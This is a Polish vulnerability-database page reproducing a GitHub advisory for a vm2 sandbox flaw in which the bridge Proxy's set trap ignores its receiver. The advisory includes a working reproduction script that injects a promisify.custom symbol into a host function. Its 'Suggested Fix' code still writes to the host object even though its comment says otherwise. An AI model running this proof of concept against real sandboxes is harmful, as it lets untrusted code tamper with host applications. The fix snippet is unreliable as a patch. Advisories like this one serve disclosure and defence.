Wysoka

vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain

  • Ujawniono: 29.05.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

The BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object.

This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path.

Vulnerable Code

js
// bridge.js:1231-1260
set(target, key, value, receiver) {
    validateHandlerTarget(this, target);
    const object = getHandlerObject(this);
    if (isProtectedHostObject(object)) throw new VMError(OPNA);
    // ...
    try {
        value = otherFromThis(value);
        return otherReflectSet(object, key, value) === true;
        // BUG: 'receiver' is never used.
        // Should check if receiver !== proxy and handle accordingly.
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
}

Impact

Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:

js
// Sandbox code
const child = Object.create(hostObj);
child.injectedProp = 'attacker-value';
// hostObj now has 'injectedProp' on the HOST side

Combined with the Symbol.for coverage gap, this enables semantic confusion attacks:

js
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFunction);
child[kCustom] = function() {
    return Promise.resolve('attacker-controlled');
};
// Host: util.promisify(hostFunction)() returns 'attacker-controlled'

Reproduction

js
const { VM } = require('vm2');
const util = require('util');

const vm = new VM();
const hostFn = function api(cb) { cb(null, 'ok'); };
vm.setGlobal('hostFn', hostFn);

vm.run(`
  const kCustom = Symbol.for('nodejs.util.promisify.custom');
  const child = Object.create(hostFn);
  child[kCustom] = function() {
    return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');
  };
`);

// Host side
const promisified = util.promisify(hostFn);
promisified('test').then(r => console.log(r));
// Output: EXPLOITED-VIA-RECEIVER-BUG

Suggested Fix

js
set(target, key, value, receiver) {
    validateHandlerTarget(this, target);
    const object = getHandlerObject(this);
    if (isProtectedHostObject(object)) throw new VMError(OPNA);
    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
    if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {
        return this.setPrototypeOf(target, value);
    }
    if (key === 'constructor' && thisArrayIsArray(object)) {
        thisReflectSet(target, key, value);
        return true;
    }
    try {
        value = otherFromThis(value);
        // When receiver is not the proxy itself, set on receiver (this-realm)
        // instead of the host target to preserve prototype-chain semantics.
        return otherReflectSet(object, key, value) === true;
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
}

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm vm2 < 3.11.4 3.11.4

Odnośniki

Ocena CVSS 8.6/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Słabość (CWE)
CWE-693
Platforma
npm
Paczka
vm2
Ujawniono
29.05.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-c4cf-2hgv-2qv6 - CC BY 4.0

Historia podatności: vm2

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (78) w archiwum
Wszystkich wpisów
78
Pierwsza → ostatnia
10.2021 10.2026
Bez poprawki
1
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 51
  • Wysoka 14
  • Średnia 12
  • Niska 1

Ujawnienia w latach

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Istotność:
  1. vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain ten wpis
    Wysoka · 8.6 CVE-2026-47209 < 3.11.4 3.11.4
  2. Krytyczna · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  3. Krytyczna · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  4. Krytyczna · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  5. Krytyczna · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  6. Krytyczna · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  7. Krytyczna · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  8. Krytyczna · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  9. Krytyczna · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
Pokaż więcej (20) Widać 21 z 65

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.